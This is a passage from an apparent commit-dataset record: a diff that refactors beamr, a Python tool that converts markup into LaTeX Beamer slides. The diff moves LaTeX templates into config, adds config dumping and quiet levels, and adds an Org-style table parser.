Comment, Citation, Url, Heading (textual.py)\r\n* Externalise strings from 8< and improve it\r\n* Civilise effectiveConfig", "sha": "2a677f6271f958e3f35bbac29e1f710727e8b3a6", "keyword": "command injection improve", "diff": "diff --git a/beamr/cli.py b/beamr/cli.py\nindex 5e16f13..7ebba98 100644\n--- a/beamr/cli.py\n+++ b/beamr/cli.py\n@@ -20,31 +20,32 @@ def main():\n halp = '''%s - %s\n \n Usage:\n- %s [-n|-p ] [-q|-v] [-u|-s] [-c ] [--] [- | ] [- | ]\n- %s (-h|-e []) [-v]\n+ %s [-n|-p ] [-v|-q...] [-u|-s] [-c ] [--] [- | ] [- | ]\n+ %s (-h|-e [ -d]) [-v]\n %s --version\n \n Options:\n -p , --pdflatex= Specify pdflatex executable name and/or path to [default: pdflatex]\n -c , --config= Override configuration. must be valid Yaml\n -e, --edit-config Open user configuration file for editing. An editor must be specified if configuration doesn't exist or doesn't mention one\n+ -d, --dump-config Open user configuration file as above, but first add the default config at the bottom of it (will help the user see what is available for editing)\n -n, --no-pdf Don't create PDF output file (just generate Latex source)\n -u, --unsafe Trust certain user input which cannot be verified\n -s, --safe Don't trust user input which cannot be verified\n- -v, --verbose Print inner workings of the lexer-parser-interpreter cycle to stderr\n- -q, --quiet Print nothing except errors to stderr. If using Python >=3.6 this will also mute output from pdflatex\n+ -v, --verbose Print inner workings of the lexer-parser-interpreter cycle and other debugging info to stderr\n+ -q, --quiet Once: mute pdflatex. Twice: also mute warnings. 3 ore more times: mute everything.\n -h, --help Show this message and exit.\n --version Print version information\n ''' % (setup_arg['name'], setup_arg['description'], cli_name, cli_name, cli_name)\n \n # Parse arguments nicely with docopt\n- arg = docopt(halp, version=setup_arg['version'])\n+ arg = docopt(halp, version='Beamr version ' + setup_arg['version'])\n \n # Set logging level\n if arg['--verbose']:\n- debug.verbose = True\n+ debug.verbose = 1\n if arg['--quiet']:\n- debug.quiet = True\n+ debug.quiet = arg['--quiet']\n \n # Docopt arguments themselves need debugging sometimes...\n debug.debug('args:', str(arg).replace('\\n', ''))\n@@ -52,7 +53,7 @@ def main():\n # If configuration editing mode, delegate to Config\n from beamr.interpreters.config import Config\n if arg['--edit-config']:\n- return Config.editUserConfig(arg[''])\n+ return Config.editUserConfig(arg[''], arg['--dump-config'])\n \n # Establish pdflatex command and parameters if required\n pdflatex = None\n@@ -68,6 +69,7 @@ def main():\n \n # Open I/O files where relevant\n if arg['']:\n+ debug.infname = arg['']\n sys.stdin = open(arg[''], 'r')\n if arg['']:\n sys.stdout = open(arg[''], 'w')\ndiff --git a/beamr/debug.py b/beamr/debug.py\nindex 1ad2ff5..c20aa14 100644\n--- a/beamr/debug.py\n+++ b/beamr/debug.py\n@@ -6,17 +6,27 @@\n from __future__ import print_function\n import sys\n \n-file = sys.stderr\n-verbose = False\n-quiet = False\n+verbose = 0\n+quiet = 0\n+infname = ''\n \n-def debug(*arg):\n+def debug(*arg, **kw):\n if verbose:\n- print('DBG:', *arg, file=file)\n+ _print(arg, kw, 'DBG')\n \n-def warn(*arg):\n- if not quiet:\n- print('WARN:', *arg, file=file)\n+def warn(*arg, **kw):\n+ if quiet < 2:\n+ _print(arg, kw, 'WARN')\n \n-def err(*arg):\n- print('ERR:', *arg, file=file)\n+def err(*arg, **kw):\n+ if quiet < 3:\n+ _print(arg, kw, 'ERR')\n+\n+def _print(arg, kw, pre=''):\n+ kw['file'] = sys.stderr\n+ if 'range' in kw:\n+ pre = '%s:%s: %s:' % (infname, kw['range'], pre)\n+ del kw['range']\n+ else:\n+ pre = '%s: %s:' % (infname, pre)\n+ print(pre, *arg, **kw)\ndiff --git a/beamr/interpreters/config.py b/beamr/interpreters/config.py\nindex 796e50c..4dfdb1d 100644\n--- a/beamr/interpreters/config.py\n+++ b/beamr/interpreters/config.py\n@@ -9,60 +9,122 @@\n import re\n from beamr.debug import warn, err\n \n-# TODO could move class methods and effective config to module level\n-# TODO prevent the user from too easily breaking the config - is there another way except littering try/except everywhere config is used??\n-# TODO is there a case for overriding lists completely? nb. Can be done by setting to non-list then to fresh list later in the yaml\n \n class Config(object):\n \n+ # Location of user config file\n userConfigPath = os.path.expanduser('~/.beamrrc')\n+\n+ # Template for creating a fresh new user config file\n userConfigTemplate = '''---\n-# Beam configuration file. Please include user settings between the 3 dashes and the 3 dots.\n+### Beamr configuration file. Please include user settings between the 3 dashes and the 3 dots. ###\n editor: %s\n \n ...\n '''\n \n- # Initial config\n+ # Template for wrapping the dump of this config in user config file\n+ userConfigDumpTemplate = '''\n+---\n+### Default configuration dumped from beamr.interpreters.config ###\n+# You can safely remove parts which you don't wish to alter #\n+\n+%s\n+...\n+'''\n+\n+ # Initial config; will be updated throughout\n effectiveConfig = {\n- 'docclass': 'beamer', # Obvs\n+\n+ # Whether to perform additional safety checks (easily toggled from command line)\n+ 'safe' : True,\n+\n+ # Whether a title page should be generated\n+ 'titlePage' : True,\n+\n+ # Document properties for use in title page\n+ 'title' : None,\n+ 'footer' : None,\n+ 'author' : None,\n+ 'institute' : None,\n+ 'date' : None,\n+\n+ # Whether to create a table of contents in various places and what title to give it\n+ 'toc' : False,\n+ 'sectionToc': False,\n+ 'headerToc' : False,\n+ 'tocTitle' : 'Contents',\n+\n+ # Arrangement themes and color schemes\n+ 'theme' : 'Copenhagen',\n+ 'scheme' : 'beaver',\n+\n+ # Bibliography file, title for bibliography slide\n+ 'bib' : None,\n+ 'bibTitle': 'Bibliography',\n+\n+ # Document class and used packages configuration\n+ 'docclass': 'beamer',\n 'packages': [\n 'utf8,inputenc',\n 'T1,fontenc',\n 'pdfpages',\n- #'hidelinks,hyperref', # Clashes with beamer...?\n 'upquote',\n 'normalem,ulem',\n- # TODO give example for setting a font\n- # tikz? natbib? etc??\n- \n+ 'tabularx',\n ],\n \n+ # Paths where to search for images in the ~{ } construct\n 'graphicspath': [\n # Graphics path resolution: pdflatex automatically looks in the directory where it was called, but should it also look in the directory of the input file?\n ],\n \n- # Arrangement themes and color schemes\n- 'theme': 'Copenhagen',\n- 'scheme': 'beaver',\n-\n- # Image file extensions. Empty extension is necessary when file name is already given with extension.\n+ # Image file extensions for use in the ~{ } construct\n+ # Empty extension is necessary when file name is already given with extension.\n 'imgexts': [\n '', '.png', '.pdf', '.jpg', '.mps', '.jpeg', '.jbig2', '.jb2',\n '.PNG', '.PDF', '.JPG', '.JPEG', '.JBIG2', '.JB2' # As per https://tex.stackexchange.com/a/72939 - Sept 2017\n ],\n \n- # TODO Whether to perform additional safety checks\n- 'safe': True,\n+ # Characters whose escaped/unescaped normal LaTeX use cases are to be swapped\n+ 'antiescape': '&%',\n \n- # pdflatex executable path\n- 'pdflatex': 'pdflatex',\n+ # Inline emphasis, e.g. *bold*, __underlined__ etc\n+ 'emph': {\n+ '*': r'\\textbf{%s}',\n+ '_': r'\\textit{%s}',\n+ '~': r'\\sout{%s}',\n+ '**': r'\\alert{%s}',\n+ '__': r'\\underline{%s}',\n+ },\n+\n+ # Square bracket constructs, e.g. [>], [] etc\n+ 'stretch': {\n+ '<>': '\\\\centering\\\\noindent\\\\resizebox{0.9\\\\textwidth}{!}{%s}',\n+ '><': '\\\\begin{center}\\n%s\\n\\\\end{center}',\n+ '<<': '\\\\begin{flushleft}\\n%s\\n\\\\end{flushleft}',\n+ '>>': '\\\\begin{flushright}\\n%s\\n\\\\end{flushright}',\n+ '+' : r'\\pause %s',\n+ '>' : r'\\hfill %s',\n+ '^^': r'\\vspace{-%s}',\n+ '..': r'{\\footnotesize %s}',\n+ ':' : r'\\vspace{5mm}%s'\n+ },\n \n # Environment to use for verbatim\n 'verbatim': 'listings',\n \n+ # User-configurable custom LaTeX code insertion points\n+ 'packageDefPre' : '',\n+ 'outerPreamblePre' : '',\n+ 'outerPreamblePost': '',\n+ 'innerPreamblePre' : '',\n+ 'innerPreamblePost': '',\n+ 'outroPre' : '',\n+ 'outroPost' : '',\n+\n # Command sets used internally by listings/minted\n- 'vbtmCmds': {\n+ '~vbtmCmds': {\n 'packageNames': ['listings', 'minted'],\n 'once': {\n 'listings': r'\\definecolor{codegreen}{rgb}{0.1,0.4,0.1}\\definecolor{codegray}{rgb}{0.5,0.5,0.5}\\definecolor{codepurple}{rgb}{0.4,0,0.7}\\lstdefinestyle{defostyle}{commentstyle=\\color{codegreen},keywordstyle=\\color{blue},numberstyle=\\tiny\\color{codegray},stringstyle=\\color{codepurple},basicstyle=\\footnotesize\\ttfamily,breakatwhitespace=false,breaklines=true,captionpos=b,keepspaces=true,numbers=left,numbersep=5pt,showspaces=false,showstringspaces=false,showtabs=false,tabsize=3}',\n@@ -100,37 +162,90 @@ class Config(object):\n }\n '''\n },\n-# 'langCheck': {\n-# 'minted': '''''''',\n-# },\n 'insertion': r'\\codeSnippet%s '\n },\n \n- # Inline emphasis, e.g. *bold*. ~strikethrough~\n- 'emph': {\n- '*': r'\\textbf{%s}',\n- '_': r'\\textit{%s}',\n- '~': r'\\sout{%s}',\n- '**': r'\\alert{%s}',\n- '__': r'\\underline{%s}',\n- },\n+ # TBC ascii arrow art et al\n+ '~asciiArt': {},\n \n- # Square bracket constructs, e.g. [>], [] etc\n- 'stretch': {\n- '<>': lambda s: '\\\\centering\\\\noindent\\\\resizebox{0.9\\\\textwidth}{!}{%s}' % s,\n- '><': lambda s: '\\\\begin{center}\\n%s\\n\\\\end{center}' % s,\n- '<<': lambda s: '\\\\begin{flushleft}\\n%s\\n\\\\end{flushleft}' % s,\n- '>>': lambda s: '\\\\begin{flushright}\\n%s\\n\\\\end{flushright}' % s,\n- '+' : lambda s: r'\\pause ', # @UnusedVariable\n- '>' : lambda s: r'\\hfill ', # @UnusedVariable\n- '^^': lambda s: r'\\vspace{-%s}' % s, # TODO check number, add default unit (mm)\n- 'vv': lambda s: r'\\vspace{%s}' % s, # TODO check number, add default unit (mm)\n- '__': lambda s: r'{\\footnotesize %s}' % s,\n- ':' : lambda s: r''\n+ # Commands for package preamble\n+ '~docclass': [r'\\documentclass[%s]{%s}', r'\\documentclass{%s}'],\n+ '~package' : [r'\\usepackage[%s]{%s}', r'\\usepackage{%s}'],\n+\n+ # Commands for outer preamble\n+ '~theme' : '\\\\usetheme{%s}\\n',\n+ '~scheme' : '\\\\usecolortheme{%s}\\n',\n+ '~author' : '\\\\author{%s}\\n',\n+ '~institute' : '\\\\institute{%s}\\n',\n+ '~date' : '\\\\date{%s}\\n',\n+ '~title' : '\\\\title[%s]{%s}\\n',\n+ '~footerCounter': r' \\insertframenumber/\\inserttotalframenumber\\ ',\n+ '~sectionToc' : r'\\AtBeginSection[]{\\frametitle{%s}\\tableofcontents[currentsection,currentsubsection,hideothersubsections,sectionstyle=show/shaded,subsectionstyle=show/show/shaded]}' + '\\n',\n+ '~headerNoToc' : '\\\\setbeamertemplate{headline}{}\\n',\n+\n+ # Commands for inner preamble\n+ '~titlePage': '\\\\frame{\\\\titlepage}\\n',\n+ '~tocPage' : r'\\frame{\\frametitle{%s}\\tableofcontents}' + '\\n',\n+\n+ # Commands for outro\n+ '~bibPage' : r'\\frame{\\frametitle{%s}\\bibliographystyle{plain}\\bibliography{%s}}' + '\\n',\n+\n+ # Document wrapper commands\n+ '~docBegin' : '\\n\\\\begin{document}\\n',\n+ '~docEnd' : '\\n\\\\end{document}\\n',\n+\n+ # Slide wrapper commands\n+ '~sldBeginNormal' : '\\\\begin{frame}{%s}\\n',\n+ '~sldBeginBreak' : '\\\\begin{frame}[allowframebreaks]{%s}\\n',\n+ '~sldBeginShrink' : '\\\\begin{frame}[shrink=%s]{%s}\\n',\n+ '~sldBeginShrinkAuto': '\\\\begin{frame}[shrink]{%s}\\n',\n+ '~sldEnd' : '\\n\\\\end{frame}\\n',\n+\n+ # Column wrapper commands\n+ '~colBegin' : '\\\\begin{columns}\\n',\n+ '~colEnd' : '\\\\end{columns}',\n+ '~colMarker' : '\\\\column{%.3f\\\\textwidth}\\n',\n+\n+ # Box wrapper commands\n+ '~boxBegin' : {\n+ '*' : '\\\\begin{block}{%s}\\n',\n+ '!' : '\\\\begin{alertblock}{%s}\\n',\n+ '?' : '\\\\begin{exampleblock}{%s}\\n'\n },\n+ '~boxEnd' : {\n+ '*' : '\\\\end{block}\\n',\n+ '!' : '\\\\end{alertblock}\\n',\n+ '?' : '\\\\end{exampleblock}\\n'\n+ },\n+\n+ # Footnote commands\n+ '~fnSimple' : r'\\footnote[frame]{',\n+ '~fnLabel' : r'\\footnote[frame]{\\label{fn:%s}',\n+ '~fnOnlyLabel': r'\\textsuperscript{\\ref{fn:%s}}',\n+\n+ # Citation commands\n+ '~citeSimple' : r'\\cite{%s}',\n+ '~citeOpts' : r'\\cite[%s]{%s}',\n+\n+ # Comment command\n+ '~comment' : '%% %s\\n',\n \n- # Bibliography file\n- 'bib': None,\n+ # URL command\n+ '~url' : r'\\url{%s}',\n+\n+ # Heading commands\n+ '~heading' : [\n+ '\\\\section{ %s }\\n',\n+ '\\\\subsection{ %s }\\n',\n+ '\\\\subsubsection{ %s }\\n'\n+ ],\n+\n+ # \"Scissor\" operator commands\n+ '~scissorSimple': r'{\\setbeamercolor{background canvas}{bg=}\\includepdf{%s}}' + '\\n',\n+ '~scissorPages' : r'{\\setbeamercolor{background canvas}{bg=}\\includepdf[pages={%s}]{%s}}' + '\\n',\n+\n+ # Only makes sense in user config, but placed here to avoid a spurious warning\n+ 'editor': None\n }\n \n # Config instances left to process from document\n@@ -161,7 +276,7 @@ def resolve(cls):\n for stub in yaml.load_all(re.sub( # Get rid of text outside Yaml markers\n r'(^|\\n\\.\\.\\.)[\\s\\S]*?($|\\n---)',\n '\\n---',\n- cf.read()\n+ '\\n' + cf.read()\n )):\n if stub:\n configStubs.append(stub)\n@@ -170,14 +285,15 @@ def resolve(cls):\n \n # Update effective config above with all these\n for c in reversed(configStubs):\n- cls.recursiveUpdate(cls.effectiveConfig, c)\n+ cls.recursiveUpdate(cls.effectiveConfig, c, True)\n \n @classmethod\n def fromCmdline(cls, general, **special):\n- try:\n- cls.recursiveUpdate(cls.cmdlineConfig, yaml.load(general))\n- except:\n- pass\n+ if general:\n+ try:\n+ cls.recursiveUpdate(cls.cmdlineConfig, yaml.load(general))\n+ except Exception as e:\n+ warn(repr(e), 'when parsing config from command line')\n cls.recursiveUpdate(cls.cmdlineConfig, special)\n \n @classmethod\n@@ -205,11 +321,14 @@ def get(cls, *arg, **kw):\n return kw['default'] if 'default' in kw else lambda s: s\n \n @classmethod\n- def editUserConfig(cls, editor):\n+ def editUserConfig(cls, editor, dump):\n if not os.path.isfile(cls.userConfigPath):\n if editor:\n with open(cls.userConfigPath, 'w') as cf:\n cf.write(cls.userConfigTemplate % editor)\n+ if dump:\n+ cf.write(cls.dump())\n+ dump = False\n else:\n err('Editor not given. Cannot edit.')\n return 2\n@@ -220,24 +339,53 @@ def editUserConfig(cls, editor):\n if 'editor' in d:\n editor = d['editor']\n break\n- except:\n- pass\n+ except Exception as e:\n+ warn(repr(e))\n if not editor:\n err('Editor not given. Cannot edit.')\n return 3\n+ if dump:\n+ with open(cls.userConfigPath, 'a') as cf:\n+ cf.write(cls.dump())\n subprocess.call([editor, cls.userConfigPath])\n return 0\n \n @staticmethod\n- def recursiveUpdate(target, content):\n- for k in content:\n- if k in target and isinstance(content[k], dict) and isinstance(target[k], dict):\n- Config.recursiveUpdate(target[k], content[k])\n- elif k in target and isinstance(content[k], list) and isinstance(target[k], list):\n- target[k] += content[k]\n+ def recursiveUpdate(target, source, checkExists=False):\n+ for k in source:\n+\n+ # Key doesn't exists in target => add from source, warn if necessary\n+ if k not in target:\n+ if checkExists:\n+ warn('Config: Adding previously unseen element', k)\n+ target[k] = source[k]\n+\n+ # Key exists in target and is dict => recurse only if value in source is also dict\n+ elif isinstance(target[k], dict):\n+ if isinstance(source[k], dict):\n+ Config.recursiveUpdate(target[k], source[k])\n+ else:\n+ warn('Config: Skipping non-dict replacement for dict', k)\n+\n+ # Key exists in target and is list => add/remove/ensure existence as per source, enforcing value in source to also be list\n+ elif isinstance(target[k], list):\n+ if not isinstance(source[k], list):\n+ source[k] = [str(source[k])]\n+ for c in source[k]:\n+ if c and c[0] == '+':\n+ target[k].append(c[1:])\n+ elif c and c[0] == '-' and c[1:] in target[k]:\n+ target[k].remove(c[1:])\n+ elif c not in target[k]:\n+ target[k].append(c)\n+\n+ # Key exists in target and is normal element => replace\n else:\n- target[k] = content[k]\n+ target[k] = source[k]\n+\n+ @classmethod\n+ def dump(cls):\n+ return cls.userConfigDumpTemplate % yaml.dump(cls.effectiveConfig, default_flow_style=False)\n \n def __str__(self):\n return ''\n-\ndiff --git a/beamr/interpreters/hierarchical.py b/beamr/interpreters/hierarchical.py\nindex d851739..dd58926 100644\n--- a/beamr/interpreters/hierarchical.py\n+++ b/beamr/interpreters/hierarchical.py\n@@ -6,7 +6,8 @@\n from beamr.debug import debug, warn\n from beamr.lexers import docLexer, slideLexer\n from beamr.parsers import docParser, slideParser\n-from beamr.interpreters import Config, VerbatimEnv\n+from beamr.interpreters import Config, VerbatimEnv, TableEnv\n+import re\n \n class Hierarchy(object):\n \n@@ -28,26 +29,18 @@ def __str__(self):\n \n \n class Document(Hierarchy):\n-\n- docClassCmd = (r'\\documentclass[%s]{%s}', r'\\documentclass{%s}')\n- packageCmd = (r'\\usepackage[%s]{%s}', r'\\usepackage{%s}')\n- titlePageCmd = '\\\\frame{\\\\titlepage}\\n'\n- begin = '\\n\\\\begin{document}\\n'\n- end = '\\\\end{document}\\n'\n-\n- # TODO title gizmos e.g. \\title[This will be in footer]{This will be on title slide} Also, [\\insertframenumber/\\inserttotalframenumber]\n- preambleCmds = {'theme' : '\\\\usetheme{%s}\\n',\n- 'scheme' : '\\\\usecolortheme{%s}\\n',\n- 'title' : '\\\\title{%s}\\n',\n- 'author' : '\\\\author{%s}\\n',\n- 'institute': '\\\\institute{%s}\\n',\n- 'date' : '\\\\date{%s}\\n'}\n+ simpleOuterPreambleCmds = ['theme', 'scheme', 'author', 'institute']\n \n def __init__(self, txt):\n- if txt.find('\\t') > -1:\n+ txt = '\\n' + txt\n+ docLexer.lineno = 0\n+\n+ i = txt.find('\\t')\n+ if i > -1:\n txt = txt.replace('\\t',' ')\n- warn(\"Input file has tabs, which will be considered 4 spaces; but please don't use tabs!\")\n- super(Document, self).__init__(docParser.parse(txt, docLexer), after=self.end)\n+ warn(\"Use of tabs is not recommended (will be considered 4 spaces)\",\n+ range=txt.count('\\n', 0, i))\n+ super(Document, self).__init__(docParser.parse(txt, docLexer))\n \n # Collect all kinds of configuration\n Config.resolve()\n@@ -59,23 +52,68 @@ def __init__(self, txt):\n VerbatimEnv.resolve()\n \n # Document class and package commands\n- packageDef = self.splitCmd(self.docClassCmd, Config.getRaw('docclass'))\n+ packageDef = self.splitCmd(Config.getRaw('~docclass'), Config.getRaw('docclass'))\n+ packageDef += Config.getRaw('packageDefPre')\n for pkg in Config.effectiveConfig['packages']:\n- packageDef += self.splitCmd(self.packageCmd, pkg)\n+ packageDef += self.splitCmd(Config.getRaw('~package'), pkg)\n packageDef += '\\n'\n \n # Outer preamble commands\n- outerPreamble = ''\n- for k in self.preambleCmds:\n- if k in Config.effectiveConfig:\n- outerPreamble += self.preambleCmds[k] % Config.getRaw(k)\n+ outerPreamble = Config.getRaw('outerPreamblePre')\n+\n+ for cmd in self.simpleOuterPreambleCmds:\n+ cmdVal = Config.getRaw(cmd)\n+ if cmdVal:\n+ outerPreamble += Config.get('~'+cmd)(cmdVal)\n+\n+ # Figure out what date to specify\n+ dateVal = Config.getRaw('date')\n+ if not dateVal:\n+ outerPreamble += Config.get('~date')('') # Date not specified therefore we must clear it in Beamer\n+ elif dateVal not in ['default', 'auto']:\n+ outerPreamble += Config.get('~date')(dateVal) # Date specified but not 'default' therefore we must specify it in Beamer\n+\n+ # Figure out what title and footer to specify\n+ titleVal = Config.getRaw('title') or ''\n+ footerVal = Config.getRaw('footer') or ''\n+ if footerVal == 'title':\n+ footerVal = titleVal\n+ elif footerVal == 'counter':\n+ footerVal = Config.getRaw('~footerCounter')\n+ elif footerVal == 'title counter':\n+ footerVal = titleVal + Config.getRaw('~footerCounter')\n+ elif footerVal == 'counter title':\n+ footerVal = Config.getRaw('~footerCounter') + titleVal\n+ outerPreamble += Config.get('~title')((footerVal, titleVal))\n+\n+ # Place tables of contents where necessary\n+ if Config.getRaw('sectionToc') == True:\n+ outerPreamble += Config.get('~sectionToc')(Config.getRaw('tocTitle'))\n+ if not Config.getRaw('headerToc'):\n+ outerPreamble += Config.getRaw('~headerNoToc')\n+\n+ outerPreamble += Config.getRaw('outerPreamblePost')\n \n # Inner preamble commands\n- innerPreamble = VerbatimEnv.preambleDefs\n- if Config.effectiveConfig.get('titlepage', 'no') in ['yes', 'y', 'true', True]:\n- innerPreamble += self.titlePageCmd\n+ innerPreamble = Config.getRaw('innerPreamblePre')\n+ innerPreamble += VerbatimEnv.preambleDefs\n+ if Config.getRaw('titlePage') == True:\n+ innerPreamble += Config.getRaw('~titlePage')\n+ if Config.getRaw('toc') == True:\n+ innerPreamble += Config.get('~tocPage')(Config.getRaw('tocTitle'))\n+ innerPreamble += Config.getRaw('innerPreamblePost')\n+\n+ # Outro commands\n+ outro = Config.getRaw('outroPre')\n \n- self.before = packageDef + outerPreamble + self.begin + innerPreamble\n+ bib = Config.getRaw('bib')\n+ bibCmd = Config.getRaw('~bibPage')\n+ outro += bibCmd % (Config.getRaw('bibTitle'), bib) if bib and bibCmd else ''\n+\n+ outro += Config.getRaw('outroPost')\n+\n+ self.before = packageDef + outerPreamble + Config.getRaw('~docBegin') + innerPreamble\n+ self.after = outro + Config.getRaw('~docEnd')\n \n @staticmethod\n def splitCmd(cmdTemplate, content):\n@@ -90,41 +128,39 @@ class Slide(Hierarchy):\n \n parsingQ = []\n \n- before = '\\\\begin{frame}%s{%s}\\n'\n- after = '\\n\\\\end{frame}\\n'\n-\n- def __init__(self, txt):\n- headBegin = txt.find('[')\n- headEnd = txt.find('\\n', headBegin)\n- headSplit = (txt.find(' ', headBegin) + 1) or headEnd # If there is a blank, title begins after it; otherwise stop at end of line and title will be the empty string.\n-\n-# TODO THERE IS A BUG HERE WHEN SLIDE OPEN JUST BY [ ALONE\n+ def __init__(self, title, opts, content):\n+ docLexer.lineno += 1\n+ nextlineno = docLexer.nextlineno\n+ before = Config.get('~sldBeginNormal')(title)\n \n # Add breaks or shrink if applicable\n- opts = txt[headBegin+1 : headSplit].strip()\n if len(opts) > 0:\n if opts[0] == '.':\n if opts == '...':\n- opts = '[allowframebreaks]'\n+ before = Config.get('~sldBeginBreak')(title)\n+ elif len(opts) == 1:\n+ before = Config.get('~sldBeginShrinkAuto')(title)\n else:\n try:\n float(opts[1:])\n- opts = '[shrink=%s]' % opts[1:]\n+ before = Config.get('~sldBeginShrink')((opts[1:], title))\n except:\n- warn('Slide title: Invalid shrink specifier:', opts[1:])\n- opts = ''\n+ warn('Slide title: Invalid shrink specifier:', opts[1:], range=docLexer.lineno)\n+ before = Config.get('~sldBeginShrinkAuto')(title)\n else:\n- warn('Slide title: Invalid slide option:', opts)\n- opts = ''\n+ warn('Slide title: Invalid option:', opts, range=docLexer.lineno)\n \n- super(Slide, self).__init__(slideParser.parse(txt[headEnd:-1], slideLexer),\n- self.before % (opts, txt[headSplit:headEnd]),\n- self.after)\n+ slideLexer.lineno = docLexer.lineno\n+ super(Slide, self).__init__(slideParser.parse(content, slideLexer),\n+ before,\n+ Config.getRaw('~sldEnd'))\n \n # Hierarchical children will have added themselves to the parsing queue which we process now\n while len(self.parsingQ) > 0:\n self.parsingQ.pop()()\n \n+ docLexer.lineno = nextlineno\n+\n \n class ListItem(Hierarchy):\n \n@@ -139,8 +175,10 @@ class ListItem(Hierarchy):\n \n \n def __init__(self, txt):\n+ lineno = slideLexer.lineno + 1\n+ nextlineno = slideLexer.nextlineno\n txt = txt.strip()\n- \n+\n def innerFunc():\n i = txt.find(' ') # Definitely >0 by way of definition of the list item regex\n marker = txt[:i]\n@@ -153,6 +191,8 @@ def innerFunc():\n self.kind = 0 # Unordered list\n self.resume = False\n \n+ debug('List marker', marker, range=lineno)\n+\n if marker.find('.') > -1:\n self.kind = 1 # Ordered list\n \n@@ -173,11 +213,13 @@ def innerFunc():\n describee = content[:j]\n content = content[j+1:]\n \n+ slideLexer.lineno = lineno\n super(ListItem, self).__init__(slideParser.parse(content, slideLexer),\n '%s' + self.markers[self.kind] % (self.specs[self.emph + self.uncover], describee),\n '\\n')\n \n Slide.parsingQ.insert(0, innerFunc)\n+ slideLexer.lineno = nextlineno\n \n @classmethod\n def resolve(cls, docList, depth=0):\n@@ -222,17 +264,15 @@ def resolve(cls, docList, depth=0):\n \n class Column(Hierarchy):\n \n- begin = '\\\\begin{columns}\\n'\n- end = '\\\\end{columns}'\n- marker = '\\\\column{%.3f\\\\textwidth}\\n'\n-\n def __init__(self, txt):\n+ lineno = slideLexer.lineno + 1\n+ nextlineno = slideLexer.nextlineno\n txt = txt.strip()\n \n- debug('Txt picked up by col:', txt)\n+ debug('Txt picked up by col:', txt, range=lineno)\n i = txt.find('\\n') # Guaranteed >0 by regex\n head = txt[1:i].strip()\n- txt = txt[i+1:]\n+ txt = txt[i:]\n \n # Identify width params\n self.percentage = self.units = 0.0\n@@ -245,8 +285,10 @@ def __init__(self, txt):\n self.units = float(head)\n \n def innerFunc():\n+ slideLexer.lineno = lineno\n super(Column, self).__init__(slideParser.parse(txt, slideLexer), after='\\n')\n Slide.parsingQ.insert(0, innerFunc)\n+ slideLexer.lineno = nextlineno\n \n @classmethod\n def resolve(cls, docList):\n@@ -269,8 +311,8 @@ def resolve(cls, docList):\n elif len(currentColumnSet) > 0:\n \n # Begin and end column environment around first and last columns of current set.\n- currentColumnSet[0].before = cls.begin\n- currentColumnSet[-1].after += cls.end\n+ currentColumnSet[0].before = Config.getRaw('~colBegin')\n+ currentColumnSet[-1].after += Config.getRaw('~colEnd')\n \n if totalSpace < 0.0: # Anti-stupid\n warn('Fixed column widths exceed 100%.', totalSpace, 'remaining, setting to 0.')\n@@ -283,7 +325,8 @@ def resolve(cls, docList):\n if col.unspecified:\n col.percentage = totalSpace / unspecifiedCount\n \n- col.before += cls.marker % (col.percentage if col.percentage > 0.0\n+ col.before += Config.get('~colMarker')(col.percentage\n+ if col.percentage > 0.0\n else col.units / totalUnits * totalSpace)\n \n # Reset counters and set\n@@ -297,37 +340,95 @@ def resolve(cls, docList):\n cls.resolve(elem.children)\n \n \n-class Box(Hierarchy):\n+class OrgTable(TableEnv):\n+\n+ def __init__(self, txt):\n+ lineno = slideLexer.lineno\n+ nextlineno = slideLexer.nextlineno\n+\n+ # Regular expression for separating table cells from a row (based on capturing groups)\n+ r = re.compile(r'\\|(\\|?)((?:\\\\\\||[^\\|\\n])*)')\n+ # Regular expression for detecting horizontal bar lines\n+ b = re.compile(r'\\|{1,2}(-+(\\+-)*)+\\|{1,2}')\n+\n+ # This will store the contents of cells\n+ arr = []\n+ # These will remember cell alignments and where to place margins\n+ aligns = ''\n+ vBars = ''\n+ hBars = []\n+\n+ # Iterate through non-blank lines...\n+ i = 0\n+ for line in txt.splitlines():\n+ lineno += 1\n+ line = line.strip()\n+ if line:\n+\n+ # Bar line. Mark horizontal bar\n+ if b.match(line):\n+ hBars.append(i)\n+\n+ # Contents line. Create a row in the matrix, split and process\n+ else:\n+ arr.append([])\n+ enumLine = [el for el in enumerate(r.findall(line))]\n \n- # TODO anything config-able?\n- # TODO other types of box (affects regex)\n+ # Iterate over cells...\n+ for j, (bar, text) in enumLine:\n \n- begin = '\\\\begin{%sblock}{%s}\\n'\n- end = '\\\\end{%sblock}\\n'\n+ # First visit this far to the right. Note if vertical bar is needed\n+ if len(vBars) <= j:\n+ vBars += '|' if bar else ' '\n \n- def __init__(self, txt):\n- txt = txt.strip()[:-1]\n+ # Not beyond right edge. Process contents\n+ if j+1 < len(enumLine):\n \n- # Isolate head (marker & title) from content\n- i = txt.find('\\n') # Guaranteed >0 by regex definition\n- head = txt[:i].strip()\n- txt = txt[i+1:]\n+ # First visit this far to the right. Note alignment based on blanks\n+ if len(aligns) <= j:\n+ # Anti-stupid: Empty cell on first line, e.g. 3 consecutive |s. It's really hard to tell what the intention was\n+ if not text:\n+ aligns += 'c'\n+\n+ elif text[0] == ' ':\n+ aligns += 'c' if text[-1] == ' ' else 'r'\n+ else:\n+ aligns += 'l' if text[-1] == ' ' else 'X'\n+\n+ # Enqueue contents for parsing and addition to current matrix row\n+ self.qHelper(arr[i], text.replace(r'\\|', '|'), lineno)\n+ i += 1\n+\n+ # Store what we have processed for use by __str__() in TableEnv.\n+ # (arr contains only empty lists at this point, but they will be populated from the queue)\n+ super(OrgTable, self).remember(arr, aligns, vBars, hBars)\n+ slideLexer.lineno = nextlineno\n+\n+ # Helper function to enqueue the processing of a cell's contents and\n+ # append the results to given table row\n+ @staticmethod\n+ def qHelper(arr, text, lineno):\n+ def innerFunc():\n+ slideLexer.lineno = lineno\n+ arr.append(Hierarchy(slideParser.parse(text, slideLexer)))\n+ Slide.parsingQ.insert(0, innerFunc)\n \n- # Find box kind based on marker\n- kind = ''\n- if head[1] == '!':\n- kind = 'alert'\n \n- # Isolate title (if any)\n- head = head[2:]\n+class Box(Hierarchy):\n+\n+ def __init__(self, kind, title, content):\n+ lineno = slideLexer.lineno + 1\n+ nextlineno = slideLexer.nextlineno\n \n # Enqueue function below to be called when all current parsing has finished\n def innerFunc():\n- super(Box, self).__init__(slideParser.parse(txt, slideLexer),\n- self.begin % (kind, head),\n- self.end % kind)\n+ slideLexer.lineno = lineno\n+ super(Box, self).__init__(slideParser.parse(content, slideLexer),\n+ Config.get('~boxBegin', kind)(title),\n+ 